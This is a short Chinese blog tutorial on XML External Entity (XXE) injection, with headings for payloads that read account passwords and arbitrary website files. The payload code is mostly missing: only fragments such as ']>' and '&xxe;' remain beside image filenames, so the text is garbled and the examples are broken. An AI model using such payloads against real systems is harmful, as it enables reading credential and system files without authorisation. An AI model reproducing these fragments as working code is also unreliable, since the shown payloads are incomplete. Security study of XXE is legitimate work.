XML 被设计用来传输和存储数据。

语法规则

 
　　
长头发　　
大眼睛
可爱的脸庞
可爱美丽的女孩
　　

Payload

获取账户密码：



]>
&xxe;

09-12-53-6661013-6def754acabbeff3.png

读取网站任意文件：



]>

&xxe;Any bugs?

09-15-08-6661013-fce5c2bcc9f3e568.png

版权属于：逍遥子大表哥

本文链接：https://blog.bbskali.cn/610.html

按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。

最后修改：2023 年 08 月 04 日
© 允许规范转载
如果觉得我的文章对你有用，请随意赞赏